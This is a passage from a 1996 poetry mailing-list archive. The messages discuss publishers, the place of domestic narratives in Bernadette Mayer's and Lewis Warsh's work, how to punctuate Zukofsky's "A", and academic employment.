She found out there was a job available and demanded that she be allowed to apply, only to have the permanent faculty sabotage her interview and then refuse to give her further part-time classes. She is now teaching at another local school.

A couple of tales from the front lines -- are there others?

Charlotte Pressler
<[redacted]>

↑ Index

528. Charles Alexander
Re: north point
Thu 19 Dec 1996

You're right of course, Jerry. I just don't know a lot about that more recent history. Did Counterpoint follow immediately upon the demise of North Point? And are they selling older North Point books?

charles

At 11:16 AM 12/19/96 PST, you wrote:
>I'm surprised Charles A. didn't mention that following the demise of North
>Point, Jack Shoemaker moved his operation to D.C., where he now operates
>as Counterpoint. Under that imprint he's recently published, e.g., Gary
>Snyder's Mountains & Rivers Without End.
>
>Or am I somehow wrong on that, Charles?
>
>Jerry Rothenberg
>
>

↑ Index

529. steph4848
Re: Domestic/Meyer/Warsh
Fri 20 Dec 1996

Dear Joe,
You wrote:
"stephen, i hear you on the question of un-conventional domestics..."

I'm not sure you hear me! I think I've previously argued that the "conventional" definition of "domestic" - or the definition of what occurs within the home space is either kaput, or a retro concept. The "convention" is in question, and the "unconventional" -- in any number of forms -- is being tested, contested and variously forged.

You continue: "BUT, when you suggest that it may have 'changed the whole picture' to see warsh's parallel narrative vis-a-vis mayer's, i'm struck somewhat by the implication (if i'm reading you right) that women's/mother's domestic narratives are customarily privileged over and against their male counterparts..."

Most likely not "the whole picture" in some grand societal sense, but certainly in the way in which we, as readers. would have engaged the shared circumstance of both Mayer and Warsh. In reviewing the book today, I kept noticing several times in which she notes that Lewis is in another room writing. Since I haven't seen Lewis's writing, I might guess that he's taking care of Sophie, their child, while Bernadette is writing etc. This round robin of each interpreting their consiousness of this shared space might have been a remarkable document. It would not have "priviledged" either mother or father or either writer. To the contrary - precluding Lewis' writing was as focused on the situation as Bernandette's - I believe we would have been offered a unqiue and revelatory view of the consciousness of both figures wrestling with the new arrival. In this way, I think such a book would be revolutionary. It's neither a pull for patriarchy or matriarchy - or men or women centered writing. Done with conviction it's an attempt to explore shared space - and done jointly it offers the possibility of making inclusive rather than exclusive statements in which one writer(gender) has power over the absent other. At least I would like to think that we've gotten to that point - and that's why I was fascinated with Warsh/Mayer's unpublished project

You continue: "my gut-response is---NO WAY!... i mean, esp. these days, it's men's and father's experiences of domesticity, incl. childbirth, that are fashionable, *not* women's... women have, up to the 20th century, often been forced into masculinist modes of writing/subject choice which precluded their relating *truly intimate* domestic narratives..."

No problem - tho I suspect there are some who will argue that Stein and Woolf among others worked the territory.

You continue: "i'll give you three recent examples of recent male domestic narratives: bob shacochis' cover-story in (october's?) _harper's_ of his wife's infertility; michael berube's recent book on his son's downs syndrome, _; bob green's book _good morning merry sunshine_, about his daughter's first year... shacochis' essay is deeply moving, but maintains a distance from his subject that even he notes, and one can't help but wondering at times why he's the one telling the story; berube's work is also provocative, fascinating -- the point here is not that these stories don't deserve telling, but one has to wonder why women's stories have formerly been discouraged by a publishing system which has now "given birth" to an emergence of Sensitive Male stories -- right around the time when the Sensitive Male became fashionable (and Sensitive Males have access to a mainstream publishing apparatus which their female counterparts still largely lack)..." I'm not totally sure of your point. I go a little 'knee jerk' at the expression "Sensitive Males." I think it's good to question the source of the maker of the phrase. I suspect none of the writers of these pieces go around calling themselves "Sensitive Males". I do suspect people who are

threatened by men taking the responsibility for different roles - particularly in the domestic realm - find the expression a suitable term of harassment. To me it comes off as similar to the offensive phrases applied to women in positions of power traditionally held by men. With the exception of the Green book, you seem taken by the work!

You continue:

"anyway, i was raised by a single father after the age of 13 (with one sibling) from the late 60s through the 70s... and i understand how difficult it can be to find a space to talk about such experiences... but wrt publishing, i'd have to suggest that we'll have to pose more searching questions about whose stories get told, and why..."

I wouldn't use the problem with publishers (and why they make the gender etc. oriented marketing choices they do) to not tell your story - (which I hope is not the subtext of your point). However, to back up, my whole original point - when the thread started about the Niedecker blurbs - was that I found it disturbing that some were arguing that in no way was it appropriate to be at all identified with "the domestic." On the contrary I would argue that the domestic is a loaded venue. Obviously not the only one. But a place where many arguments in the current culture take root. (As a single father of two teen-agers I can say the 'cultures' rush through here in giant, not always comfortable, but most often fascinating waves). To cast out the domestic as a vital constituent seems fool hardy to me. To seek a writing that embraces the polarities that occur within the domestic - whether from point of view of child, man or woman - seems to me a valuable project. Equally - I agree with you - it's important to critically expose publishers who priviledge and profit by making fashion of one point of view over another, as well as support those publishers with more comprehensive in their view.

best,

joe

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530. **Ron Silliman**

Picky, Picky, Picky

Fri 20 Dec 1996

Rob,

Zukofsky (with an "f") never wrote a poem entitled _A_. He did, however, write a poem entitled _"A"_. You managed to get only one-third of the title into your message.

My question (to the list) is this: what is the most famous instance of this misreading, which has occurred thousands of times? My nomination is Hoover's Postmodern.

Ron Silliman

>For me, not a week goes by without some small consultation of Zukovsky
>and Virginia Woolf. What _To the Lighthouse_ is to Bloomsbury prose,
>_A_ is to the open field: paradigm and playground. When we write of
>music on UB Poetics, I always feel we write to rival _A_.
>
>We've got enough modernist fascists on our bookshelves to besiege the
>Capital of Grabenstadt. How fortunate for history's heart, when a
decent
>man like Z. lives on as a brilliant poet.
>
>(Just did the last line-inputs on the galleys of _Distorture_. I'm off
>to the post office and the Zip Disk is off to the printers.)
>
>All the best,
>
>Rob Hardin
>
>http://www.interport.net/~scrypt
>

↑ Index

531. **Henry**
Re: Picky, Picky, Picky
Fri 20 Dec 1996

Well, the most famous instance I know of occurred in late 1977, when Prince Philip was hosting a royal dinner for a congeries of literary luminaries in London. Here's an excerpt from an exchange between Philip and Prof. Murg Szweft of the Univ. of Left Overbie, reported in the London Daily Telegaff:

PP: Well, I say, you know, this Zonkoffski or Zakoversky, I've read into it a bit - not bloody English, that A of his, what?

MS: Pardon, my dear Duke - that's quotation mark A quotation mark.

PP: Eh? Don't quite follow you there, old chap.

MS: the title of the book - "A" - it's in quotation marks.

PP: Not what we learned in public school, old man. Book titles in italics - individual poems in quotes, I daresay!

MS: It IS an individual poem.

PP: Well, yes, but I'm talking about the _book_, man!

MS: Have you read it, my dear fellow?

PP: What? Book or poem?

MS: Very good, my lord! Jolly good!

PP: Wait - you haven't heard the Z of it - heh heh!!

Clearly the Daily Telegaff is stepping around Prince Phil rather discreetly these days - this is all a bit tame, considering the explosive subject under discussion.
- Henry Gould

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532. Aldon L. Nielsen
Re: lower limit
Fri 20 Dec 1996

After you look at Mark's book, come by the Cambridge booth at MLA and see if mine's shown up yet. Printer told the editor it would be available on the 27th! If copies of _Black Chant_ are not themselves on the scene, a poster of some sort is to stand in their stead as a trope of some sort --

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533. Michael Boughn
Re: Mike on meaning
Fri 20 Dec 1996

More later, Pat, but I wanted quickly to draw attention to a spot on TV last night about an image of the Virgin Mary appearing on the glass windows of an office building in Florida.

It was quite amusing as the reporter went from those identified as "believers" who were worshipping the office building--well, at least the image on it--to those identified as "scientists" who were worshipping reason's ability to "explain" the image in terms of mineral deposits, ground water flows, etc. (except they couldn't explain the continuity of the image across multiple panes of glass--yet), to the owner of the building who, after trying unsuccessfully to scrub the damn spot out, was starting to calculate what this meant in terms of potential profits. Meanwhile the mealy mouthed reporter--this was on Hard Copy, and the blonde bimbo anchor was saying, "Harry, you're a serious news

reporter, what do you make of this"--was desperately trying to cover all bets by acknowledging everyone's meaning as being a true meaning.

Meanwhile I'm thinking, whoa, there's a whole a lot meaning going on!

As they say up here in multicultural Canada--season's greetings to all and to all a goodnight!

Mike
[redacted]

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534. Aldon L. Nielsen
Re: The Declining Significance of Race?
Fri 20 Dec 1996

I have seen Thomas Bell's experiences repeated all too many times in my life. An odd coincidence -- At some point every semester, one of the students in my ethnic studies course will opine on the "fact" that racism isn't a problem any more. This invariably is followed by news a la Texaco in the papers (always presented as a rare instance of rogue behavior) --

The "service" sector is always revealing. Often when my wife and I are in store -- the clerk who is waiting on me will look up at my wife, standing there beside me and holding my hand, with a puzzled expression and ask, "was there something you wanted help with?"

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535. Jordan Davis
Re: north point / John Godfrey, Carol Szamatowicz and I
Fri 20 Dec 1996

Counterpoint and North Point are both publishing.. North Point is distributed by Farrar Straus Giroux, last I saw.. the large square well-received book about the history and use of olives is representative of North Point's new work.. Counterpoint, meanwhile.. who distributes them? I haven't seen anything but the Snyder long poem and essay collection..

/

John Godfrey, Carol Szamatowicz and I will be reading tomorrow (Saturday) evening at 6 p.m. as part of a gallery opening.. It's a group show of recent abstractions at Triangular Gallery at Atelier 14 (142 W 14th St, 7th Fl, bet. 6 & 7 Aves--Tel. [redacted]) On acoustic bass will be Paul Aston.. It should be.

Jordan Davis

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536. GRAHAM W. FOUST
North Point
Fri 20 Dec 1996

As far as I know (which at this point in the morn ain't far) Counterpoint does not sell old North Point titles. They've done some nice art books for recent shows in the DC area (most notably, the Phillips Collection's "Americans in Paris" exhibit), and some of their recent titles include W.S. Merwin's mini-anthology _Lament for the Makers_ and Evan S. Connell's _Collected Stories_. Other than Merwin and Snyder, I don't think they really "do" much poetry, though.

Graham

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537. amato
Re: Domestic/Meyer/Warsh
Fri 20 Dec 1996

stephen: quickly ('cause i've got one more day before i split these parts for points east), reading back over you reading back over me, i think we're in basic agreement, but i feel the need to clarify a bit:

(1) i certainly didn't mean to imply that berube et al ARE, ontologically or some such, Sensitive Males, though they may be (like me, like others i hope) sensitive males... yes, i am taken by such work, esp. berube's book, _life as we know it: a father, a family, and an exceptional child_---it's really quite remarkable (consider this a plug for his book)... i was using uppercase, clumsily i guess, to denote what the publishing-marketing apparatus is busy doing... anybody knows me knows i wouldn't 'not tell my story' on the basis of said apparatus... JUST TRY TO GET ME TO SHUT UP!... but anybody knows me knows that the *way* i might tell my stories might be distinctively at odds with storytelling as popularly conceived (might be i say---sometimes i'm orthodox as hell)... i just don't think we can talk about constructing 'domestic' space using our abc's without some view toward who's reading said construction... if there are plenty of readers 'out there' primed for a particular narrative, this will (sometimes unfortunately) result in more such stories... but in any case, we do (as i think you suggest) need to unpack 'sensitive male' (and perhaps think a bit more about how 'iron john' & co. fits into this picture)...

(2) stein and woolf would be exceptions to the rule, *to the extent that they're writing about intimate experience that's often highly coded*... they're not the first writers that come to (my) mind when it comes to childbirth narratives, for

example (and for obvious reasons)... but in any case both are 20th century writers, and my point was about women writers *up to the 20th. century*... by which i meant *prior to*...

(3) you still haven't said anything that persuades me to believe that i DON'T hear you on the question of domestic space, stephen!... my own orientation is rather techno---i'm interested actually in how broader conceptions of hygiene, cooking, even home education figure into the 'home office' [wink]... this is why i cited that zone piece (which is chock-full of other references)... you sound as though you're more interested in the various people, and corresponding roles and perspectives, that populate such spaces... but anyway... i think we're close here, by which i mean close on the primary point of these posts (as i understood it, anyway)... i've written mself (i think!) on my own domestic spaces, albeit i have to acknowledge *this* discussion as having foregrounded for me the way the word itself figures my understanding of such stuff... i think in fact a simple term such as "head of household" could be a rich site from which to begin writing (poetry, scholarship, whatever)...

anyway, thanx for the back & forth!...

best,

joe

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538. **amato**
job description...
Fri 20 Dec 1996

---

just pulled this job description off the (web) chronicle of higher ed... thought some of you out there might be interested... note esp. the line about "academic freedom"... this is the sort of doubletalk that indicates how screwed-up the employment situation in postsecondary ed. has gotten... i understand that tenure, like seniority, can keep 'dead wood' around (and i hesitate to say this these days in a public forum)... at the same time, if you believe what you're about to read, why then have i got a deal for you---

apologies to those of you who might be on the faculty of unity college---i couldn't help mself...

best,

joe

> *Unity College seeks faculty at the rank of Assistant Professor or Associate Professor. Candidates must have successful college teaching experience and a terminal degree in an appropriate*

> *field or equivalent experience. The 1997-1998 salary range is approximately $28,000 - $36,000. Unity College faculty enjoy academic freedom with multi-year contracts rather than tenure. Responsibilities include: teaching twenty-one credits per academic year; academic advising; teaching independent studies and internships; leading periodic curriculum review and development of new courses; and serving as an advocate for the discipline across campus.*

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539. **Jordan Davis**
Re: Domestic/Meyer/Warsh
Fri 20 Dec 1996

I think it's ironic that Lewis Warsh, one of the odder story tellers around, would be accused of some kind of self-aggrandizing centrality.. he's definitely in one of those wavering elliptical orbits as anyone who's read his novels would agree... Joe A if I had an extra copy of _Agnes & Sally_ I'd mail it to you..

Of course I may be misreading this whole argument, but I agree with Stephen Vincent that the 'parallel text' of Lewis's account of the time would make a picture of that particular domestic arrangement more complex and energetic.. those being the virtues I look for..

Ho ho ho caribou,
Jordan

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540. **Patrick Foley**
Re: north point
Fri 20 Dec 1996

Someone else out there may remember the whole story, but the North Point imprint (and backlist) is now owned by one of the big NY corporate publishers, I forget which one, and that's why the current printings are glued instead of sewn in signatures as North Point used to do them. They did make lovely books. (Still kicking myself for never picking up their edition of The Maltese Falcon w/ period photographs of SF.) "North Point" lives on like "FSG/Noonday", like "Knopf" as an "imprint", not a publisher. Did the Scribners ever sell out? Probably, but they held out a long time. If no one else remebers before I get home from work, I'll check BooksInPrint to see who owns "North Point" now.

> *You're right of course, Jerry. I just don't know a lot about that more recent history. Did Counterpoint follow immediately upon the demise of North Point? And are they selling older North Point books?*

> *charles*
>
> *At 11:16 AM 12/19/96 PST, you wrote:*
> *I'm surprised Charles A. didn't mention that following the demise of North Point, Jack Shoemaker moved his operation to D.C., where he now operates as Counterpoint. Under that imprint he's recently published, e.g., Gary Snyder's Mountains & Rivers Without End.*
>
> *Or am I somehow wrong on that, Charles?*
>
> *Jerry Rothenberg*

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541. **aerialedge**

Re: north point / John Godfrey, Carol Szamatowicz and I

Fri 20 Dec 1996

Counterpoint has also brought out two new Davenports, one fiction, one essays. Think they've done three Wendell Berry books. Bunch of other stuff. They've been very busy. The Davenport essays will be on the next Bridge Street list.

--Rod

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542. **amato**

Re: Domestic/Meyer/Warsh

Fri 20 Dec 1996

---

jordan, i'm---

(((hold it a sec, gotta go stir my SAUCE---

ok, back with you... *i'm* certainly not "accusing" lewis warsh of ANYTHING!...

SHEESH...

can't tell if you're directing that remark at me... but really---i got nothing against men telling their stories... i'm simply trying to say that there's a reason why men telling their domestic narratives is popular at the moment... and that the history of such narratives reveals that women telling such stories would NOT (IN THE PAST) have been published precisely b/c they were viewed as too "domestic" (pleez note the quotes!)...

anyway, best//

joe

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543. **Michael Coffey**
Re: north point -Reply
Fri 20 Dec 1996

---

northpoint is now owned by farrar straus & giroux which was lately bought by Holtzbrinck, which also owns henry holt and st. martin's; scribner's was bought by macmillan which was bought by simon and shuster which was bought by, oh, viacom i think.

>>> Patrick Foley <[redacted]> 12/20/96 01:10pm >>>
Someone else out there may remember the whole story, but the North
Point imprint (and backlist) is now owned by one of the big NY corporate
publishers, I forget which one, and that's why the current printings are
glued instead of sewn in signatures as North Point used to do them.
They did make lovely books. (Still kicking myself for never picking up
their edition of The Maltese Falcon w/ period photographs of SF.)
"North Point" lives on like "FSG/Noonday", like "Knopf" as an "imprint", not
a publisher. Did the Scribners ever sell out? Probably, but they held out
a long time. If no one else remebers before I get home from work, I'll
check BooksInPrint to see who owns "North Point" now.

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> recent history. Did Counterpoint follow immediately upon the demise of
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>
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> >operates as Counterpoint. Under that imprint he's recently published,
> >e.g., Gary Snyder's Mountains & Rivers Without End.
> >
> >Or am I somehow wrong on that, Charles?
> >
> >Jerry Rothenberg
> >
> >

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544. Tristan D. Saldana
An Obscure Olson Article
Fri 20 Dec 1996

I'm looking for "The Act of Writing in the Context of Post-Modern Man." It is apparently only printed in _Olson: The Journal of the Charles Olson Archives_, volume 2. Unfortunately California State University, Northridge does not carry such a wonderfully esoteric item.

Does anyone know if it might be reprinted in a more accessible source, either another journal or book, etc.?

Thanks for any help!

Tristan

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545. Michael Boughn
Re: Domestic/Meyer/Warsh
Fri 20 Dec 1996

> *i'm simply trying to say that*
> *there's a reason why men telling their domestic narratives is popular at*
> *the moment... and that the history of such narratives reveals that women*
> *telling such stories would NOT (IN THE PAST) have been published precisely*
> *b/c they were viewed as too "domestic" (pleez note the quotes!)...*
>
> *anyway, best//*
>
> *joe*

Exactly. It's exotic. The exotic domestic. I could write about cleaning the toilet, and some people would see that as NEWS. MAN CLEANS TOILET. Up to a point. Precisely because I'm still not expected to clean the toilet. Even by me, and I stay home with the baby and cook every day. However, I _am_ expected to take out the garbage Tuesday night, even when it's 20 below. Is that domestic? Does it stop at the door? Or is it a kind of gesture?

Mike
[redacted]

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546. George Bowering
Re: Picky, Picky, Picky
Fri 20 Dec 1996

The Canadian edition is entitled

_"Eh?"_

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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547. Thomas Bell
Re: The Declining Significance of Race?
Fri 20 Dec 1996

I can't take credit for the experience. This was a repost from another list of someone's else's experience. tom bell

At 05:40 AM 12/20/96 -0800, Aldon L. Nielsen wrote:
>I have seen Thomas Bell's experiences repeated all too many times in my life.
>An odd coincidence -- At some point every semester, one of the students

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548. Wendy Battin
question (fwd)
Sat 21 Dec 1996

If you're stuck for a gift, look up Seva Foundation, http://www.seva.org/ or phone [redacted]. They'll give gifts in your name of eye surgery, doctor training, translation of surgery texts into Tibetan (my Xmas gift from C, bless him), a buffalo for a tribe, gas to let Chiapas craftsmen get to market, etc, etc. It takes all of $30 to give 2 people eye surgery in Nepal. $250 pays for training an eye surgeon & all his/her supplies.

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549. **Carnography**

Re: Picky, Picky, Picky: Upper Limit, Standard Non-Standardization.

Sat 21 Dec 1996

Ron:

> *Zukofsky (with an "f") never wrote a poem entitled _A_. He did, however, write a poem entitled _"A"_. You managed to get only one-third of the title into your message.*

My re-punctuation of the title _A_ was deliberate. Others, including the author himself (or "himself") may refer to _A_ however they like; I'm extremely fond of Z.'s word-music, but not always of his overly- ambitious theories, which strike me as necessary in terms of his own approach to form, but not necessarily as practical theories for interpreting his approach. Nor do I intend to adopt every idiosyncrasy of Z.'s writing in speaking of it simply because--like a homophobe pointing to an inhumane parable in The Bible--I found a precedent.

You can rankle at my ur-standardizations if you like--I'm just having a good time. If it were up to me, people would write E. E. Cummings in caps as well.

(An aside: Z.'s use of Bach's "Allemande" has always reminded me of Glenn Gould's radio plays; Gould, however, thought it important to leave the music out.I'm still not certain why the music has to be there, but reserve judgment until I hear that section of _A_ performed.)

> *My question (to the list) is this: what is the most famous instance of this misreading, which has occurred thousands of times? My nomination is Hoover's Postmodern.*

Actually, I'd say the most common misreading on this list occurs when pomo buffs read formalist ideas as necessarily bourgeois, uneducated, outmoded, or formally stiff. The truth is, I scan Zukofsky (or Thomas Bernhard, for that matter) whenever I read him. And I'm not certain he'd have hated the musician in me for doing so.

BTW: My problem with the boolean division of formalist/pomo is that it leaves a lot of variables out of the equation. It strikes me as a substance (rather than process) division. I'm not even certain that langpo/formalists emphasize different areas of language: in both cases, the emphasis would seem to be on surface tension. Personally, I prefer Bergson, Bennett and Heraclitus to Derrida. But I'm not trying to escalate an unpleasant skirmish. I'm simply pointing out that, for me, the insistence on non-standardization (a la LangPo) proves rather literal-minded in the context of my own theoretical practice. I'm not telling anyone else how to write. I'm just explaining how I myself write and punctuate.

All the best,

Rob Hardin

(who also refuses, for example, to shift gender on the collective pronoun *he* and *himself* until we agree to standardize two neutral third-person singular pronouns (possibly *s/he* and *her/m*).)

PS: If you're truly going to attempt to nail email authors for spelling and punctuation, then you've got your work cut out for you. But more importantly, I think your argument--for Z's punctuation-- gets misplaced in your insistence on mere insistence.

http://www.interport.net/~scrypt

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550. **Douglas Barbour**

Re: POETICS Digest - 18 Dec 1996 to 19 Dec 1996

Sat 21 Dec 1996

In his long & proocative response to 'Mike on meaning', Patrick Foley made this point: " Looking out my window this morning I was thinking how a modern poet might carefully describe the sky's grey qualities, the bareness of the trees, et et et cetera, all the while scrupulously avoiding the word "winter", and might feel that this avoidance was the essence of the art." Later, he talked about the 'ordinary' & the 'commonplace', for which terms we still tend to us the culturally charged word 'natural.' And so, I took off in my mind on another track: which was to admit to myself that I have certainly practiced something like that poem without the word 'winter' in it, but also left out such things as the color of the various buildings, probably didn't mention the specks of snow caught on the wires, nor noticed, in the writing, the garbage cans. Not that many writers dont notice some of the 'stuff' of the modern urbs, but that the 'romantic' urge to 'capture' the essence of the moment, supposedly 'in nature' tends to ignore how much of that nature, the commonplaces we live in & among, are also part of what the avoidance is 'about', at least if we still practice 'lyric' as traditionally understood. When I wrote that way (a long time ago of course), I guess I still did buy into lyric in a way (Oh Dave Smith, where are you when we need you? gone, alas, to grass...)...

How does that idea of 'the natural' tie into the way the 'domestic' is also assumed to be a sign of the feminine?

Of course, in Canada, as George has probably made clear back before I got on this list, we have had such a strong representation of powerful woman poets since at least WW2, there has been the interesting situation in which many male poets have admiringly stated that they have been influenced by some of

those woman (bp nichol often mentioned it; I know a few I owe more than a bit to)...

Which reminds me, christianity's insistence on the silence of women still has its power: up here there have been a number of powerful writers emerge from a culture in which that rule holds, the Mennonites: take for example the poetry of Di Brandt, whose first book, _questions i asked my mother_ is all about breaking that prohibition. a battle she has carried on ever since...

========== Douglas Barbour Department of English 'The universe opens. I close. University of Alberta And open, just to surprise you.' Edmonton Alberta T6G 2E5 [redacted] FAX: [redacted] - Phyllis Webb H: [redacted]

↑ Index

551. **Michael Boughn**

Winter or not to winter

Sat 21 Dec 1996

> *In his long & proocative response to 'Mike on meaning', Patrick Foley made this point:*
> *" Looking out my window*
> *this morning I was thinking how a modern poet might carefully describe*
> *the sky's grey qualities, the bareness of the trees, et et et cetera,*
> *all the while scrupulously avoiding the word "winter", and might feel*
> *that this avoidance was the essence of the art."*
> *Later, he talked about the 'ordinary' & the 'commonplace', for which terms*
> *we still tend to us the culturally charged word 'natural.' And so, I took*
> *off in my mind on another track: which was to admit to myself that I have*
> *certainly practiced something like that poem without the word 'winter' in*
> *it, but also left out such things as the color of the various buildings,*
> *probably didn't mention the specks of snow caught on the wires, nor*
> *noticed, in the writing, the garbage cans. Not that many writers dont*
> *notice some of the 'stuff' of the modern urbs, but that the 'romantic' urge*
> *to 'capture' the essence of the moment, supposedly 'in nature' tends to*
> *ignore how much of that nature, the commonplaces we live in & among, are*
> *also part of what the avoidance is 'about', at least if we still practice*
> *'lyric' as traditionally understood.*

There is another way to frame this process in relation to Romanticism, one that places it in a larger, if rather controversial, context than stylistics:

For Novalis, the poet's genesis is at issue, not the poem's, that is, he derives the poem's authenticity from the primacy of moral rather than linguistic autonomy. Not that he would deny linguistic autonomy. . . .

rather he would deny linguistic autonomy could be considered anything but a function of the self's capacity for free moral agency, and that is the crucial difference between Novalis and all those for whom art constitutes a self-sufficient enterprise, be they symbolists or their contemporary heirs. Consequently, his central topic is always the poetic work's own origin depicted as the developmental path by which the self gains consciousness of its inherent freedom.

Geza von Molnar, _Romantic Vision, Ethical Context: Novalis and Artistic Autonomy. Minneapolis: U of Minnesota P, 1987. 98.

Mike
[redacted]

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552. **Charles Alexander**

Re: Picky, Picky, Picky: Upper Limit, Standard Non-Standardization.

Sat 21 Dec 1996

> *My re-punctuation of the title _A_ was deliberate. Others, including the author himself (or "himself") may refer to _A_ however they like; I'm extremely fond of Z.'s word-music, but not always of his overly-ambitious theories, which strike me as necessary in terms of his own approach to form, but not necessarily as practical theories for interpreting his approach. Nor do I intend to adopt every idiosyncrasy of Z.'s writing in speaking of it simply because--like a homophobe pointing to an inhumane parable in The Bible--I found a precedent.*

I find this argument just a little specious. Rather than seeing a title as an example of idiosyncratic theory, I see it (if it's indeed the author who gave it the title) as every bit as much a part of the work as is any line or word of the text of that work. So, would you equally change/misquote lines of Zukofsky? I tend to think of the quotation marks and the rest of the title as part of the work, and even if I don't like that part of the work (although in this case I do), to intentionally change them seems to be simply a mistake. I would more easily understand the inadvertent dropping of the quotation marks than the intentional mis-quoting of the author.

charles

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553. **amato**
Re: Domestic/Meyer/Warsh
Sat 21 Dec 1996

mike, yeah, *exotic*---which explains in part, too, the popularity of martha stewart's (for me, pretentious) focus on upper-class 'domesticities'...

well folks, heading points east manana, toilet brush in hand... so i guess i'll sign off for now... should be seeing some of you at mla---i hope to attend at least a couple of the readings posted hereabouts, and i'm looking forward to placing some of your thus far virtual faces (and to seeing some of you again)... i'll be staying at the sheraton/washington---i'll have a mouse glued to my forehead, sans jacket/tie costume, looking a bit dislocated (and bearded this time 'round)... if you spot me, pleez DO say hi, pleez DON'T ask me if i got any interviews!...

happy hanukkah, merry christmas, happy merry...

all the best to all,

joe

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554. **Rosemary Ceravolo**
Re: Far More Than Domesticated
Sat 21 Dec 1996

Being that you (Jordan), signed with Joe's (Ceravolo) "Ho Ho Ho Caribou," this gives me the perfect opportunity to respond to this curious thread about the varieties of poetic life experience, which have resulted in many simultaneous accounts of their respective "domestic" lives, kept by those married poets/writers/artists with children from the 1960s to the present.

First of all, let me say, Bernadette and Lewis were good friends of Joe and me during those childbearing and rearing years, which we all documented in our own individual and unique ways. The same deep friendships existed with other 'poetic' couples we knew and entertained so many times here on Spruce Street. They included Kathleen Fraser and Jack Marshall, Ted and Sandy Berrigan, the Padgetts, David and Lindsay Shapiro, the Frank Limas, Sotere Torregian & family, the Charles North and Paul Violi families; the List goes on and on with the fondest of memories....

"Parallel texts" or other art forms that tell and portray the stories of everyday life within these poetically-charged, conjugal unions are most likely available to anyone who is sincerely interested. Let's not forget such worthy records derive from an important era of change dating back only to the late 1960s, when

women as mothers, wives of poets, and creative beings of individual value in their own rights, didn't hesitate to make themselves heard and recognized, either privately or publicly.

This unavoidable acknowledgement of the other's indisputable equality in such marriages began a contemporary phenomenon, which to this day, has little or nothing to do with conventional notions of "domestic" life. Each partner within the intimate levels of these given relationships, despite prevailing societal norms, was always recognized as equal to the other. Whatever problems encountered concerning this matter-of-fact equality by each or both partners, were either worked-out lovingly through mutual integration and acceptance by the couple, or led to irreconcilable differences with predictable results.

The interest expressed in Lewis's side of the Story is rather fascinating to me. Bernadette chose to record every minutiae, including fact or fantasy, of her pregnancies, the after events, and how they affected her. If Lewis kept a simultaneous account during this period of their lives together, there's no guarantee it will supply any missing links to Bernadette's version of their Story together. Art is not merely biographical journalism, after all. Bernadette simply published her work of this period and that again, was her discreet choice as an insightful artist.

I know Joe's poetry is his own take on the myriad ways life was experienced by him. We were married for the full duration of his life as a great poet. Where I actually fit in to his poetry during this 30 year period, remains open-ended and mysterious. Thanks to the Muses, my writings over this same period contain what I chose as worthy of my own sensibilities as an artist. The similarities are as revealing as the differences in how Joe and I lived and loved together.

Rosemary
.....

On Fri, 20 Dec 1996, Jordan Davis wrote:

> *I think it's ironic that Lewis Warsh, one of the odder story tellers around, would be accused of some kind of self-aggrandizing centrality.. he's definitely in one of those wavering elliptical orbits as anyone who's read his novels would agree... Joe A if I had an extra copy of _Agnes & Sally_ I'd mail it to you..*
>
> *Of course I may be misreading this whole argument, but I agree with Stephen Vincent that the 'parallel text' of Lewis's account of the time would make a picture of that particular domestic arrangement more complex and energetic.. those being the virtues I look for..*
>
> *Ho ho ho caribou,*

> *Jordan*

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555. **Peter Quartermain**
Tewwibly tewwibly picky
Sat 21 Dec 1996

This is very heartening: I always refer to _Romeo_and_Juliet_ as _Measure_for_Meassure:_The_Prequel_ and nobody seems to know what I'm talking about. I'm glad it's their problem, not mine. But what do I do about their mirth?

At 07:11 AM 12/21/96 -0500, Ron Hardin wrote:
>My re-punctuation of the title _A_ was deliberate. Others, including
>the author himself (or "himself") may refer to _A_ however they like;

I had always thought, actually, that _A_ was called "A" because Zukofsky, in titling his long long poem "A" was parodying or attacking or what-you-will the perhaps pretentious habit of giving long "epic" poems grandiose titles. HIS long poem is entitled -- like so many lyrics in crummy-and-otherwise text-book anthologies -- nothing at all, but simply quotes the first line of the poem. Is it also worth noting that, _A_ or "A", the title is pronounced as a schwa, UH?

I'm not at all clear how this is "formalist".

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

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556. **Pete Landers**
Re: Picky, Picky, Picky: Upper Limit, Standard Non-Standardization.
Sat 21 Dec 1996

Carnography wrote:
> PS: If you're truly going to attempt to nail email authors
> for spelling and punctuation, then you've got your work cut out for
> you.

The point, as i saw it, wasn't the proper punctuation of the title of LZ's *"A"* (or is that _"A"_ ?). The most common, not necessarily most famous, misreading is that the title is the first letter of the alphabet, when it's clearly the indefinite article; longer but not as dense as his earlier poem entitled by the definite article. The quotation marks indicate that it is a spoken word. I don't know why he italicized it ... anyone?

Pete Landers

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557. Alan Jen Sondheim

-a-

Sat 21 Dec 1996

What of the broken A, or the object a, "A_ or _A" defeating symmetry, perhaps the K-meson; or the -A- rolled across the bar, --A-- erased, hung and monstrous; or in fact the A-of-hordes, _"A or "_A, refusing circumsription, gathering evidence?

The origins shunts before the aleph; cuneiform topples, there's nothing permanent in what you mean to me.

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558. Tara Pauliny

Re: Picky, Picky, Picky: Upper Limit, Standard Non-Standardization.

Sat 21 Dec 1996

A few months passes. I figure, hey how bout saying howdy to a few of them folks on that there academic poetry list, in time for a holiday, let them know I'm scantilly living in my new digs.

Rob Hardin, still arguing. When we have "A" there is a separation textually of its immediacy and surroundings. The "A" becomes something of an artificial significance, an authoriative ideology to point toward a signifier whose referent has been erased. Whoso art forth in book copped from? From which "A" divine? Let me quote a number of folks to prove my point, to give me a bookish authoritorial: "the "A" when subjectively received, becomes the cup wreathed with ivy" or "even "A" word doubles to move from one meaning to another" or "Ko Niutirenis hauru leish! "A" lala! Ko Niutirenis haururu laleish!" I have altercated the previous quotes according to an antithesis based upon the Hardin theory of the punctual, that quotes surrounding words, in addition to their meaning, are irrelevant. One meritorious poet of the confessional age once said we should liberally sprinkle quotes on the page like sparkles to the glue. I still fail to ingest what is synonymous with glue.

Ron: "My question (to the list) is this: what is the most famous instance of this misreading, which has occurred thousands of times? My nomination is U of Cal Press 1978 printing of "A" 1-24, where it all started. Unlike Cape or Grossman there's no quotes on the cover, so one would have to open the book to find the quotes & we all know how few people actually ever read these books. Who has time in this modernity with the exception of those whose livelihood is not threatened by.

Charles, I don't have yr address in AZ.
CS, DB, JD, & all happy holidays

Be well

David Baratier

"Humanity is a good thing. Perhaps we can arrange the murder
